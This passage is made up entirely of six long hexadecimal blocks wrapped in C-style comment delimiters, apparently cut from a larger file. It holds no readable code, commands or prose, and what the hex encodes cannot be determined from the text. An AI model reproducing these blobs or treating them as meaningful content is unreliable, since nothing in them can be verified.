18cb253c4e7e71f839e76261f40a9a50631ebd858bb74b105ce72c1c1cbe3430603af62888ec0217cfd9de671bb8e22d4bf4116fd676d11dad3ffd2cc71469b0d62254f2810eda2d7387df6955eb58a0258938cbbef21cc752ff212ec2a5a4b5c9ccc3edc9d1f4bf4a80bbdb55351b9c461a38f86861e69fdf52823207e22546146e64440fb116d81934bde2ad7fcdba1f5352fdfeef265dcb54e5af4ac139cc1c6b5e49fe396021448cafe297675c6e92f7f23fe6202576917ce3821416df074d383a13cb451d07b97242cf1ff48103c05b6e1701d8921f1dc11fcd1cfe82e2b9906ed5d8665119dd17b652b1c42e29043c79a5bf08a5c893bc85fad2676d867f52335e7a33d0cf05331f0edec99613706bb8bfc49ab5899a3bdb586ba7c13145bde3fb396c3a681ff3a8c859a48681e91dd3ab405611689c1466562cb16db102f44b430de2ad1ccf6af6ffd1136b0aeb5646abb8ca0730c48453f98d8325e12278773c06762341f7aaacf6f9e60a54b2007db2400791da421921a5698ca7c7a293769b2250f46ee3a713d4a9b0030bb0c051377c19fe0db646a7f51d8512b12dcf089a6d3c300cb51f305c9717e42eb7f4cf4b891a02d9aa52cfcb9b8c3a8df91e68b2e954b36a329872b32d62d16690f705dbf44b833dfbcc221bbb8cd05dfc709e6c7bd2bcb1edab72f3c72368e299f25f930d37ef5a8779ea37e4b13917229e271a38014c8d046502559e835b3ebbb284a8fb2bab0bf5d531ac9ef1eb4470f0e832971700b25be73cdda19ab84d19e0fb8522c6831a0810c5792090661162f88402199bd7c6e35f69a9532334b2710a55b53339d47e5e23c6158ab6f2c968cf051969815f584703c5bbb6acaf680af5f9bc299eb3a922b8c3cbf644e5929bb8a57f4f2410bf4bee8b1564aff05df9ef2a6f3fa44b79fe7559a0336f7a161707b8edd89fe507334bb6fc76caffe2bdde7260c339641d49bd47a221f37e96f41040c99d5216a57e2616d493cc82755f5ad05a122f4db21c6a274c6f90181a0e77995829b4e53b09d3750fcbd7d45d7cf80c73b83028d767a7580f3c4f38590b948adaacba0325784f03f6e779fdd534390d17552b1123f3bff784e951291e36fd605a36d2df172a841140fcacaf668d144efae8922b703c3345e3c46086725aa66baad9dbecf13bc241ade26355513793cf89178d966051c0f98a30b436af71458130dc12f400cc745dc8a7f87f4262a25b8bcf1706d2d7e8367f358e7cb2b6fb038c6c306671f059fe959d87447ee04a055e19fb68bfb67f51369cd758623c3159e3d8233e8b6155cd0f2977e14944ebaafb2ec64d0c328505d5c50fa9751b2be75f17a0575809ba25fd993d71632b44c351e4e8ecf003ed1055a8c07db72f866fbbd64d52ff975ed4e5d59beec5715908035dea80ee8b474a9b9d75d5842d57aa4d989e3964b6dbbe06dcb27cdc820305a415946f760174934245269e75aa4044f6535510e4624893dce47c87187d1bcb7ad9bba06b905b63852b7e0b0998e9384542f0e9cda491914a7d16c4548c4b74ce904f2325621450ceac6833e583181832de1896d781ba31d4fc133bec2adfd319958030449abc26d1bdad86e35a9a6fb50708363bba05ccbbb8d4b81ee9af9cf7626fc8d9256f07c6036c82412fb611df42bd3636a9bdb6e7805d307af9d9661328f658a8ee2c12c256b802e90747fd215e7b94817055a49c7b961a00422dc0723194c8d812142630c795445b202115ed55c08c46188edbd775855e8bac8188f2b75a005e283b033078542b7b0fa38c965b400b0b49fbbade2957221d1ae5be63906bec2784a5ec5034cfc6fa85176a1eee040e8420451cae935e343b8430d787d322cbb81e5459440c932ab267325faa651cedc90d3c1f103cad42df9c8771615d4b3536b684d2f5c9c71ceb59fffab5e156400454de176ee34b0b0405ad8fb21f07910400f4b7645d1cfc737629ab1cd6ebd733023066c01f2d26e067f0c6aac4ef33f3a657d77b845ecf0d2a47d3bfbdef7e8f9814a41b99e586d44e3d90402b566a5db52*/
/*7ebfa545778ff488df123daec0aa5fbace38ec390fe412b3645f271b45796e503fb11eb46e7244cd509ef598057cf431b20ff7aff526bcd3b3027450bb49a48e531aa840bd13afa89aacf8e0820741ed764957a11d948e42b1f4559954c75aab0763d3b2cc3696582e121c1a0b712c3c1dddcd133befb0b8ba0eaae1782d24cb95d96afcd9998816694aa4da04fea3b96e4224d89a32cd4b3658d4456c94e99c9b8647018c946a2f715cd63c9f40b166317576bdfc08755a497050f55baa86567bf2d48901c9f0fdea6b4371fa171f0db3d4a5ab5c4ea414f1fab617d7c0815ff8ac75b179c7fe12c4a530477bdbcd31167e69f4cb3d64e89cbc812d5cea9d141fedb3e3ca26c5fb8c7bd67693ad3880daa5657d757e03750e51f7021f8502875f3c8e79f86f62d8ade9a53db6b5da37382e567a9b31adf9155c5e9f863253a29ca870d1a347b28a38885eecfb36613dafd6b3f588868c458251b3ab275e7f1bccd75cb2d2246a5587c5ef57b037801e558e6afa568924c16c1355a234befda8d32b1ddd013de92c55732d15226ce7ab0ae435ced9530ce1ae7bd9b86c77b74bf92274c8644f9ceaaa67da29a4a600afa6fdcac94c5a6398e9909311b7aaf5239a789d18ec97813dab124ff1dcde97b46b0dee91b67bdeb8962fb0760569373078b84e0715570d7cb51ecdef69d0391fa42921f43d9fbbccc1afc1bc35ceb36538a0f458cfd7e59986bf34a43aaccd14d5364440a9581e6c44776da183ee2758aa7737761a46379d918f5e521f04ec3b5bec78f3b80b0cf0a8b47c5cd295333b375ff1ce2e70c026d76a94b2e2720f4f0fbc180a17039f3ad2f665269da7719b8a6a6a03939371f335be9342e14cff47d7ee8fff75aad93a5d3bf9236cc21e725169a129770e83075943e224154f5023543f0e8585f59a53a2e53fc90d1b00ec6e39517665b29cfb7ee6877f037dc1b72846a948061661b1599f7c4f225af7935e35e15d8d5e9a30a8a898b7a70b425c96aa0eca99b306de9c3ef188f6adf2e40739667d41ab8a5691f2727ce9b32c4df6d804c20518325f84ec17e4a4ea799058cc5f92da74440b0c4fa90c467049ebcac3a72724d4bf5fd16af2e82d6108f2ccbab9cbe263f5fe3ba52121b0e32c3dc5a950e01d57580cec1dd185480c9fd3a80b501cea95e393c05b97c2b7cf9665791e54ba40a35734297dca51c3b6ca447714a0ca14c784b31f14e18f01200c4c46aca8a4706520d35edb5c1e6e6a61c41846284c05515b4bb71277a8871d7f13e8faab9242164c2aca5a1729e8d5585f60665fbf800b6f4c41fef524fc8c95e3e299bf83baf0fbcd2dfbfa94a1ae94756bebbb4fc25db8ecebbe7e981120882cbf25971eeeaeb5c111d4ac753bbea812fae29e860f5cdaaa672b4b9e3a762ae8f2accfcf940cdc86191826f245c9d273651a998e7a93f2af0a5ccec43aea3d6efb505635a3f3bb948fee0ef8106661e70f9c601ea650d867c8473665db3b9d127154d6c7c31a1171e7392a7d9071e0bb91caf6fe957b3f2a4a6cd0a5b80dabd90735589006fb22def2b052387f062e6f80b0b05be419a7a3d3ee0a325967e0621e9e7b06aa3dffa5c0b97a10b02d0046c600ca7f8bc93d446a10a2770c2b2cfadfa8abbab9073595244f8c0473b57c594733f3022201ec9be5faa3a65a55412fd2c53a440b8dfc8af2f1b3bc5dc45a4e808f4f721b4d694d566d54fcb6874978ad01cbff50bc73dffdd9b5f37e95dcf72ea310be1012c02ebf05fd1a85d0883101fd54e95308411026a82e562758acc0abe75714cb9469eff9e03bfef67a6f698daf75e981907f3db418134329c782d6a5be64a3f29af449208e5f16efbdeb093afb76ff03cfcf068308e04ea9beb01fa6b0fd8df00246c220421b8ce75732d32b5eee9d247a61945119af0158d515f6e8c3631c5d7c85ef60339fb3e79efb298a0ecb160239ca570721e9b5173805fcf610a8f2414f333aee3672864daf8e04e783d842454fee23c3c2ec82cb286efec70622253cc524210241fd02c303103ec5dbd82d25e9ab1381436c48d873e0fcd931f125f42d72e2c36553684419a06aa3cb07da067a7c31f2fe50f89f1038cf39be8c3656e85ef80c99877a68bfffaa53bac07f27303dae32790bf22d03eac69610434734459ca0d692072a3471b8eac9c42f783c87ec663cdf4d216ad86c551cd885983f7682d4febc7ab1130622e431c79ae4d1360b86b873714256c7da379217c342f8f15d7cd254c05ef2fd3de282ad6863137930137cbe167d254dda459790316f8a1475e2f95de28fde0876431f9e77b42e3e0fd1f42698be6827c5b1b049852334ac49724c0569b5e59a1c91ca340d393265c554f41f785d7527f23c4cc4b8525e260ff7eea1d88289decfa2c127da61bb90bc8580c28c4ae483a47540fcffa09b85cdf256bdeadbba6532d6a5185e924ca9cc1cdec3e0b5592e8737aea75f3fa5dbe8bb2dd8c73cb1246f46f987f33898c980dd9244768c65970c7b10e3bb78fa512586711a80489f1df83c7f3682af209b3b9c33e651f7b39ec70e79ce049d9c633be90003295bbfbc955274834b46a97ad96c0de8ec1ab6c8214781481b57e98a9caf690fc85963548215ea20d2a33c4bd83770bf1fa2dc1fcc7da7bc29f36ae21e6cdbeef1c6f338422f004c99c636f786792a4be3061d428f69c62206831d34e74561445e6fed621ce782c3eb42ba7ec6af86aecf5bc415f97d303ea496fa3e89bc78462bf8518d899121385fce674e0a3014c9ba4e86842cab03833378de68b9d70a9b9f9e82c8589f*/
/*c2f1f66caa06a30aa01e3daad4a574a74d9d297423aba63f6fc5ab4e1f0570cf3ef5df2334393715977e383662aadd67bb7271e826d94031617371ba1cd59201987b56700069d118bfbe9416d6ad105ede03a5cc3955407ebad867fe1fc21cee8e490c9f86fba10ed15960cba8a3d78c213b0a798f9f573b61b3c50e54be4180b76d21ff83ecf8213f5fe557ca13a99108bdeec133269e7abf7fbac3072808f07a9a715e978b9c9b62bfd62c1c3c335735c701e057af344decaac07ac23a70562895e798cb7b912482c54b8cfa7c2cb61022c8358d0fbee559c3c12d3f3b9a5ccdc67570d3ea3a95b6db6fb40a2f5a68ab8cbafad0aee1f8c06af9f44d2ebf52ef10c4896688ece279db17ec5de045045e1730aebe1ee205aacfcf603b3f7e0a965545a85498a18c4ad9be208ac02f82750aee60c176b9154535cf52d570b93c5e1e9173146925389b163ee96a3c6ad3b380fb0ec6b1359b6936451c7d51e972d5d097f892cff9a0a8e1146f143adf33dbc2aea9162e75bf5bb93c6e6230000677f98dbbae52de4c8b362356723e490c111e2cc53076a016138a5bd3f815e8e58ef559e3b8a7ed3398755306270e82541ec5bbe485e72d8baa6a1a370f99ecf3ba4f8309774538471dbd142b4c1c6823d914def13cbc139e40b91a78fd602c973278c76b0076ab4c9c9479e48cf95490c36f4fc66fa2e90e488e31635c049f48fe7d2b5519549454bdfd9953e6c806ccd13e2de0086acb67396b27d2fe46c694047594bfa496c523f0c976eeaa55fc0a06b60062dad844d284fb0c4637b7fd6efa55ff1246dbe08eaa8b3d01a2b8b463df3b5d4fce974f48115350b1d68ff9f824e7a9190f67d87fff2b55fcf53d8f3eb591db41314184131fa03ffb5fe82fa1ddcf31feadf4b24e3fd1b781d07f71416711171401e90dda32ceea344c292292be9554afe204f7f3f97bd2df275baa96b51e4684fbc9d421e59a274c87e1866d290ce6178c85bead5400a10b7a8675ab3113314bc02a3152425a921dbbf66b98708d81e5f7c55c6dbaf5c1bac850f37455e492774e3726607c9a421fcf0bd4976c844c52b49c50069a04bea2b76f011815fcdf48e62c9ec1258fbeaabbff475e0b88a3d389cb8286d335e24a75f42b0c485d8e210d2f20dc1df02a6c68a12e302d042cb1292a9c94d75c77d38043a6b892c44abe1d0507adff10c74d28edd41a318a83c20a35e7ec918ac0385b7b9ad629a70cffca591dd46431112fc8da287fe13bb7d5249b9615e89f2fd22e8337be59c5c2b497c9ba0807b91d233d11c752fa56c5c342ba28c508666f8c1649eaf3e8002b6e47caed5b11b24230836b0fe5de8140dea44a63ce1e380f8c229065131d8c0efe04e165811be9bef24658c6a67fb31c8f6ec407d3c028bebcdf53772d13a8773da15f62759ede48f2771d7e375850a307aacb540e82789c477f3080497774e194efd0689d21be60d97403b8205e0c1a1e3f4d2bc51405ecf809e184c53c9d0b5463d9001207e0a13f1d8cf8f88d80ff6eabcee49c4d35d93ccca5637241c0005629eb024eaaa82e1f5b1a5a5e739dcdfad65a508f0c3a1e1af4baf645f433f2678980565919ffaa5edb92fa66f1b9c752693913b01cc4577ace0256091642c521f3e597346806ad1ef11cf52b162a445aa5f4ec75a3c0493453b2a4aeeba4a2adb268b32499ed865e9d47474feb1c3012b8b8e036407806fb496523171f85c5b2ae753b299ad0f33f1df582b72586480a43cb4e8124dc19d4fbfdf2703a578d77f2cc93bfc9db1a1569d614964365a81e7bb577cd67e4758113425132b71f5e0f626a7cb9da17b801c025a161da8abe0e37cd0536a386e54d8b79a93893507ae5d61caf8a242fc235c1037b482c363a11b7704e464ec3d3fd64c5e7f68932978e122644d4932908d6833ca0ee2ce1fe85260ab3ea41f22e853d6de1c95f9c0f9865471dea6a48da89701d9f6eb18e17e8b9645ba866545636b97c4152fb1388ad2ba5d3ee0a28ffa2618ab708038a4f211103873feb81a345dd825b91fd98e8b0b1a1a3a748f72c7b287ba497a28a7138d2b1206e37ea8e6bb3de7264216e0dfeebd3e6dd81489fb9057210f6f2140c1bb55441b6659bedabb3a14adbebc0a7b47cc5c428c66f96c04a7b9685fabd774e9737799c9af4b56d4bf069e0f3eecb5988ae84e95416d26d8a22a224bda598f09d14516dee383976c25fc653211a512a5547c3cd0310db7f7727141f191cc35b8ba3523549c7b86095b88b7c379cd58e04bd5d3a221ba4ae98f95e755cebf10dfaf7ab483662519ced0f0c4370488ff382bf07d7fb413bdbe8e86467b28522ebc13739f5d2d46b1c1f0f74b462ea234606da6928557cedbe4ad01078b7bd49c700c0ec8016cea762606b74d0e17f93e812b0904bf0b94b7160582c3d8c8527fed84a1f36a8b911545a1d026a29c9f6373da39da4488e53099c21d490131c9cf7525a1e768edbf9d2cb615ae44ad51598bcca2b859210ad2776d5ebf0bb88a48f4490e7600cea35c2cbfafcc75d466313be488d0d9f3527f1fe6e3622e5f990368c174197b789b8f45694c0dfdabd8e92b72166746ee82796f47748f6df0a0ef832534d9203d8d76c5f8f4a3bab0aa81e4f110f09f0cd1717f1fb5e4e16b8f796ab53c5cd080a0f9fed43c24e9b7251cf56d09ac45503a6779e8043ffafcea5f6fee1e3095b1479f9b88491dea29582a2715f1e165fb3824b90647a86e92dd90ffcefb57c4e0a3f96a16a6fe843f6fda762e681d1db5f1ffa4a2ec9992a8dcc52e1e6e80279dd71e89d5dad17*/
/*4322782780364eb14b5d9ec8c0f3bb255b59b7abcb83739e0030d03b200c74b40f799a258ca1c19155c01c85af87cf69d10a1f21f3f54dd7b0f3b32ec90e8e57734ccccd0361a5af9be97a64c73c5b8911fde034e6300286f9a5fb3e5de3eae2b06cec2e1d9f8ecd327de890a009e338038684b1991dd1a9cc447abbc5cbe375d25a6589bf9814a036b9130c8314ec2781f5a3b779c2f07bd51bb1a3ec78c9e3364a96e4e8c33e4aa8ef4582af369c8724be7b40ad6221690f4871d68ba8d00d7bce90ee6c89ed5ecd5b5f8b03c141e08540edfe03cead6786b32de1a4db0f54ab76101684c7af7a4f054d133d621df643d8eda446fa0b67d9c80205fc7bd1a7c8eee2b8921e4c1b04f05576f8cb7a84dda151a33e1c1e80571af1038284eede3be03d5e83b323fe172b37667eb5bf97320bf877e17c7aad8e562ba588f5c2d71bed79b3cd8b7bbc2a7598cbe9265400686836ff5b142b11908de63c480e4f9cfea7c0b2e4d12d7ef0fbf19fb47f278351cdead195c45f03a5606af6a252c0fd22de9352a5fb8d7a0055c1740d602c58d31777812d7a753f0df0556c56d0ee69245631763a0677a52a9adfe14351ba381311bf4822e34036ec2b3f291f66a6e0c3d6b16bd7703db090345d99d1d4c94858f728a98a3a48f7f1dafc9c7573b9ed9693449730af783e3b5573349a168d9f584db1f4b1f0e950271408f4267957de7977ce30d0fa95b5744eb42c4091ca16098065ffff7a085670235cace9a274f127ec2cb0f5954acc79857cb09862b5b3668eb13110a3056b00dbd2820adab365ceda1c2baba4eac22f2f039bc6f461c07db1802beb2b5d90eb729bf95448effc2baceeb5a1de66688f5911890ca253be91eceadabe9b58327d99c69975efa306ffc59f764720f10b8661b7a1aba16b74391c9946f9e3f2e87fe71e8351b5a277b35b6db77425c253cb347a69a160e6a6d5165407e5281211984516057a5736335f5c14dbc053ba92bcdd89f32b684ed28d8b4dfb669561adf253430a35359b8679db0633b9af0534dddf9c3e56e572f5a86b975d5c5e7feca97dc9d76bb81191d5f44e6bcef7d2293c25f7cb5c0b9323f0a59c543e773922fd532333ff8708d6b50d6fee7c6afb31913c3bc7f48b1a7e044a3252b1b27c5d2cf08733ade628017384ee428ec23f425077b49a885a4861e7f824180992087c673aead75f1e5cdd164b7b80e474e14c1c6719c3d3305a5ef531ab5218775fd6e38fe3d4cfeaf8193904250555ef92e16feba898d68e7fef9b751b047a3b4ba89ab4eee018791a4d7aad6ecdb333793b065bdd26bfa14a726944e2db6960cc1e2492f7ecc8ec75a23273cbe9fc8d7ecccd0098201f7d4e6dc8717ec6acb13fbadab5061bb4153b10e366b35d64ffec685d6785cd1d166484fdb5848610afaa151f201368892756c6ab74c35a8a96eb9d3eac2964a9c7b9fc59f4eeab7c1249295d04f2ede2a1fc54a32777d0bc8c72108e411f9f8e2e356634b85fe5f3902b47df130dfa9daa2ab6dc576e9f98be080da69e5e592f08b621771baabaf7e0cfaa6446c92aa25bb5313e1398889a11886fc7f793ee92d607ea705a3d02123c6c8632d8f3271b137c8a4d4ddc2c5cdcc49936884b5f6c49b3f55aa9054adca22ed1f2dab86cd69eba133835b5cd1fa67bc3d4b8514034884c99f635af01269e04b00ad760dc4307ac8e6fc76b43492ba6a5dfa079cd81762e7168199ec57b9585674994a69d3a2191b1782fbe37130ef6c5cd559bb966636bb437d5309cf772a4e590fd3a76848e5795cfd548ccf53b68cd0109f745dc24b7ca2f53c308ac5df59db2d438e130e2c2f4326bfd77270842124b02dc7576a0b91972b3790b812b9c6cf67aec6bad3d1cc301082d64f989ea46e0d509b17af22915c9fabd55c7939ca31c1ed12f624c47a837f32d47210a5a0963415930bea16e4841db061097e5dc7db7825447dd06155d2ce5b76f56c77c28522702d3d926d37d9ec1d09ec3e58ce5249f88acdbdbae36cd0217d6af553abe630d8afb2840477cfbe0f6da0ae2bfe4c909f4b77d5f9236e425ef29173e6b5ad7d9f766d1639322a0720bb207becb7c33917dea34ef7abe414b16c69af7094648a126b992c245446e648fd54834d4543cc1937768a67af77a5cf4aca8009c83d2d913b952ecc5a8bb6ddd29203249ef826f554e840ce0025cab93c9e378eee8e080560daf6b3e1df0a932e57a101ab08ea307f02ac6aa5943f1a1dde3650651f89c6cfc42c7c39ff3a005c09f8b1e6b78dd51da116450146000d917707c48643b6247c3b46dfe99303a8e322f07c1154f4bae376d219bd0a463c6a26f9f8b1bafb2e43120ecf8342e51a5d6735cd77a94d773b247826febef65f12bc55d51f5559c07a9c86de9aa9605ae3acf94e1b03a8e8ab1a8d4726922550bebcea79c3f75b190507e6ab8cdf6e13d1944384d8864eae67bfe6de8849fac6384f113a0354cebbd6712b6e05e05fe79232ccc0f74e49576f8be908fbd72b3e583ebaeeb3aeced59a995e05ed0f981ccd213b82dc10a25a574d63a4b4518590de92a614c5c88452a44a75dfc212d9383143b7f063f907956d568894732b86529e717a3f551c7d467353aa060b5886611ee1a8c8fd34b3f1b67fd395cf2919a5a10d370c019e60ae836fdaca59ef7cb8eddfdbbbaa4c1379c8be7fee6f426e4cd73cc326ced68d98b67f93cdaa12009f6c4ffbbaf9dd2cca4cdb407e1624f0f3fb5b67b2f524dcc8264e7997c8969c12b674fbfd8f9b75f4a69d14fe2afcb98dd0712aff8ac943d4695e0899e7b*/
/*0eae0e6934e4ef9547c638476215f1a407cb45655ccd1a3fe893dda4cc0cce25d7c66c82b8a05a9adaf5ae4c955f875cff2111ae64bfda15126bdeea70d28428be9f71ab80c8acd5d48b1100ec21dea2ed44d174616ea3c5f0e1ee5d565a96a38d832d1661c77b86c07984377d0e87e30691558bd16525b8694791a2be94a2375767139b0868194ec6258e3e0f14cb4d3b9eca953e680c7cb70db054b2bbf3db57921e6c322f0437412a509953e90e4c219ea02cce096ef25fb539fcb823b43514c2f5e18003b363212459c911e04e5c9a3a73f37bab718710f6460b3d2162bbb897d3f246c8e5497b279f1f4c07f3125c357d09051e0cd89ec775f954e2b5263fc291034d45dcfad0caeeb52a65ba509dc93cf4f5a147938ec76bbd8683e1e1491402c26aceb726a30eadea1bf720377e2e297a3de071b8ed66d10596e33527bab7503f87bf1b0bc0c48fabcc4015e31ec40e7f255abe4b265cc9541968c9c4356920b38d4f100abea5e1721688f3db164afecf4e8c19f50ce7cd877180ec4c54ed9643f6db55a851aa7475f81453c437022a0d152abfea155286434e59129ee2f7e3740c34d8b2555f9a4802f4831227e427f7033abd88ccf6df65c364614a1880714da00174027516820edafb439b6b0bba4d875b11555009dfabcbbe38051cf3b1b1c180c928a1fd472181ee6e3abe585175657cc77023f6afd29abb0e420a20a47f05ab6517f29050f13fd1090dc455b307b85cbe8100bac05abfe002cf2cb1903f22339c3c28e4b5dfff51fbc560997a69ac329a143b89484b25d5292a6e77b6334378a0808a862e9bd33ed051e67f117411ea3d1015a3c4d3d10efdd60d6d6aa4567dead1c8dd8612d498292e0cf24f39f7ce9489c8db2af3c11aefc39e67f8db0ea06ae5d365ec35ce722ad07fb58bed85a5e151024469cf36632809d08f93d8c22ee07095a552a00c1b02a14ba62057f2b51f36515221834b524508256f354e06f638b381c6cc5041fa63c8f83a9f158188034330f9e46684b9ff3e42d0218e54a5d81a9813c87cc67851ec3485b651f16cff4c9455489921eff38a9a822fb9faeab4c3a4e52150d1915d4cbbe362dcb83865f3ef71b63dd0def0c7aa958692416d6fcbfc43f2e2931601565f53d7e1e9e2fd4179a151f7e909e7cbe60e930916b36534f0d66a147680e167ed5624cc16c268ca78250aeb895968886cc1d87f93e12f989719ed698f1eab5355e7afb3ce272e560c60ad24686d619e35af1c94265fb2f65ce0fa90415dbd16b7a0608389e71fb305c1c04e42a354d69838e9927b7285c7b32a4abe46ff3afe4bca6790fb7107df3ac0ef172afb34c4eb6e0bf598efd2cf4cc098885217b995d1973878cdbf2a7636ee5f933c4522af4058777431f015502870edd1fcf2767fe1af8b869c810543319dc7fc461f0b161d3b386b5d5a58d924d2c0f599862ada58514322fcc1261fdb71ff309b44fad91fb426234eba93d34b0c8561f203e20ae3f642912d308b80a67299aec30ffb28d13690100c8a19f39886ace686b2e8d7fd84e435b1dd44ebd01660ee8ffd08555649e0694bdf317d575734c6a2e3b0dba4f4651e1f3eef626a24047e3f6264feaee7996429088b919b1042ed32286bfb01624c6f429d8a3373d9b0ceb458f829f43b5960e7e8cf3d126174d04a28a3703d49c82c9417fc41ded52ed0c4433a72f98fad1d0c4cec840ba8fda2e786c66b3c1b6119203a1fc08fe3d8c89b8c9084d73e971cea1d98947a0a0f853ca457771d9fbdeae81694eb0d705386d1d3fb1f119b793e1512a62e182c6c5ed05b0a90c7722bb37dc88fa4989f0788f25cd7990174b5792b7f5491843b54d7ea705e23be6d9c3aae09fae8d19d321eddfc662f976924e0a6a7031276fccf466c22fd41a3e571d595241ffaa52dd107746fa995bddb26a2578d1e98c90bee8de6a6e736202633631fb2454ad6356197ca1228d9f386ff1421ac5ee8d623d125a4132c7cf6f7cb3f11746d3911733dfe6fff5f8e6c76ade127bf73e447255496c09e985af3b183627033f7633b7f080c61ab8ecca35e1ca4e9add70e27d5ded4e8b98d68504608bd7b66ac2df3862ffca99f28cdf4ac3ccac053a073c7a04f922e481086f06b70f07612a84abbaf8ae548b3d26c35846a4c00179815b7f3305853f5433ee66fd91831abcd6df8ddb0e387d52ea9d6a5f990e3f4b564404fd3e6ca69d533c19025e3091f5cc66394fc9fbee2992287d7edaf1e956c739cd4bcdf5e0f1ea3085d7862d6a2f284320a5240432ddd69789436464234b456654302f75c4cf79d89aaca6b651ae7295e1aa1200f4b2807e571cc4b54b5d3f8c1f2b3720d3d6c07092f8b412f465c5e77d10e8fb55e0f1b1314d7f27556baca3d8b3aca4e7ff0d26a175dc6376484ef6abd9544fa2d8e3c831b80cdca92375c9a95b05778e400395f26029d3054a4b2ed59ab7de3b94977be37e7e4b60b8d62f93c7681a82c6003b3ae3990a0cebb6ebaec045196350f5cae2d0bad058c9a641e633f06ba5f3290728328a2cceec43609d65b08b9eb7a7381af85bd4e5d00a70dbf94b6b72059fa9f032b878ae62809e2379826c2836b4c50131743c7769ab0a2031a5dea9e557541d602a9c2981db519497bff205d424f82a85ece9139bdd821b36dc18a3976d9a59f48d6b96ddb80dd403861ca6db2c41707e0d86075a66e29a1c0f8dea04cf066a8d645b49d9b0b9a4630119ac466e7c9dcbf329df6579367f22499722105bf856251d135aa38eacaf4f89b59dc71b459efac56aedbd0e4fec795e167ac028d*/
/*15de1ec79926f469b25ffbe4ff4565d3e868c9330ae503a28134e644ce3566aa7eb7b073c41189d669c54f37eca3c20e28d266b8e02a62f28923f52b1eb9754dc5fae3f2e33691d59c4b53fc4f52cf7d44708b2c92cf7ae4acd5b43c09e35caf9d5d2b3093b8ad5db5db3ec01f60aebb8bfd2a328717bb83fb7dbfed289d2ca3d4cb853558721f60f5ef93cf2786e7b3f273e8661b6f74126f6656306c73b43e62a5793df0afeab429e9395290fe503165944598aefb39f3ce630f9f5a272863163add4e33ae03ce94c0b88a82ca8d432c09fa1c1222a5516729e3c000fa69c3e340a8be4ccfb4eae8e34db37a5d1b257064367b5507c82b2433d93b99a5c3cb7d946d0bc7fbe272d4b04c60df028e3ed17d663b3b658647e9ced61a70626338e4506b57a5e13ce6680696e63058d1d7b524663fa0cdb7d317c31dc0abbf0485f2072e3045830f8811a3bfd2108a0079673d23dab8b574a87664266a7527219933646cc8a160e68a97511934772ad36a1283f52e989e2745c32cfe673efa4d08bda0633ae8b1bf2fc87b0e9a86b2d0d1b10fa6cc65de168338ac101eb0929aa56e009d2c0f3430ef8e8893aafe31c94098ead294a158dcd0f64e823932e2248e3c8c3dd680a7c69cb009142c72760c53f8b8e7f1143f30c937ecef5af7eb9c426cfaf17937276cead31524945c5a57a0f282c011b386bd0055cdb5d8abfd4ac440dfa1c4b0cfcf2ae8e89a02cbdd50f918b4194cb07fae1065ec10c920d2ff3100bb7229ecb8fa9300c4f01bb0cdc0b66be51f98d4e06f9ee4d967b7debafdf6a28f17bd69eaedd4f8eddc851b021cf77c0d4e9fd6164bef8f5553a3032595835ce74e99c0cdc4ebef2ad524915ffb7024a2033c66cb1e785f8938fe75998f4cdc2a69d0bc0d8239d3e3077eadfaefeb00515083b31af550a0ce710b21996a0f85361c0b1ce76c5e54f4f0c501acd250703b259eeef9eb0c3cdd4d46cc20acd9f5e0fe6b21ac4a15085c699fdca98d67b5d3d92b0bddfaefa51b0716742d5c584b5ebaeaa22c48f7e7b652b524cf096b5014d5693b7f63bf4e5ad7a1fd1c8c79a900dd8d368213fdd9642aea60ca44800d862e67ecb3859e1b478bade4c7b3ac8cd38da65f58b8472b05549b87fcfcb39019a4224cb7763f4494c36be8bf04601d75c2948a7958a82b8fb37c5cec4cce6f6a95776b93c8b0cb8874d2d5cf468b080e7de13f73edcbce0965d157f711752e7e91e7bf0f0749150f7bac810c7f433aa470de1dec255fb9e6e2879e17bcf9d643dbe5d456ad40e7ead267f8ba28ca47f0f0beae2f77e35c7e8a2e6747ebe592df7540a32bcf63e01137b4ecd93e592d119b4ff61c0ac22c406b2c171d659680d592964480245b56bdb3988f6ee8bc75a6f50975ba381ce9ace5e3c50c8949fddeb02c13b309bcc1a7a171d8dd2fbe7b4d21d1035f2c0da5d3d2151aa796b655f8660de0e08a8dc29dc3c2f0dc0c3db36dfb3e32dd6980276d8abc563e88cc4a6441632a9e46496f7bd5ac3d7cc30d8d6fe739bd4d8f5e3cd87ddbd13527d29a48dd2672dc5bbc6d7b33f8c013bd2c722e996372ec9904643fb12677d7ecc9ed77f9df7a9ba2785e30c776d74def7393cc96241073d798b6d41e64d8c713776408b027e79e3df0879526b0574948ed8a1025747466fa465a007be1d2fdc635716043ee474503165309958a61972b0c7adbed71419b9094458b28e81d2dc2549a21fffbe13ed8ad0bf2f09dd98c2c3582bb200509612de271019c81f6c4452622a2a6e3311c4e75bc9767aa77a762826834984cf0db14fb2a101c137ba753deb8f54a8523c1b88e6bb95f065c7156c6f7e6f867af5cf922fe7ff2aee21b24d743d704010555b8db93667512512dcc7af8c7fe99e36f32655253ddff8275b981924fb09f354e64c95489ddd815367a8b99a5695d28539da5439f9fa874f97426958859e422fa348a69e396bfab1fd609c6e2eeb9833d374d000e4f5d7ab7162d52e5c40a5a6eccf9d81184a476ff0b258c7b250c49e2eafecd6a41a95edb9cde7707e7e326f58b60f8fc95c084e56d5acae9a70aee5eb3a9a2855457ef02d7861f3a093c7f6e0b76ad30bfa4f6aaff432979e30a7411faa3536606a66dd989367cdc6b1590bd66af72d9f3445862d34657d85c17bb518d3e2976719e92d1ca062ebe4e6bbc70f26906e805150a78bd898d3a5bb58ac1abb3e3c743fbe3a57fa0fc54ad05d672c4f4613f8e501a4032370f6b05c2527ec42cc60cf061bb564da23b8224741fde3ebe9ae2a94be6c272339f2e485754ebca33cecc1b09f2c2eff865e1c2588a16eed661a8e9391703372f600d416497d9123884d6569b36057c609b21315cbf7f1b9ace2ea4be03dd6f71afb47049bcab6201076c9c0086d56ce35c595d237ad3a9d4eb5365555bbc94d6b624569a66c50a996f78cea951cfa47ad3e5dfad1700e61b56ed3a270ce0022c7744b11584b0e29c02f7b27d5951bb441e32bfc6bbc765494641998c3ea0a753e558f9cce8aab59a066aa11a3473213a7ac2a3fcd63f88e3ab5df0fff593d02a674208f3f18854c7343e4d01602767837304d65f960c1792bb89ed575f8e271e1cb7a204c9b8907e78fb3b83c6d9743e7fadd97f83a9867fc42a19d1a2e180bd07450e7076d8dc871964c40b708951eec4c2a99e24f11a18171a39365be8987dee2070d228733fe6cbad4da8ba078ba90d912561126987c0b3fd388c7d46279f68e08d4564d48b66c0ab6b896542e3952ae0a5764ad475345e93baffdf555ffe62aeb4d626c0a032bb9b01a28947d588*/
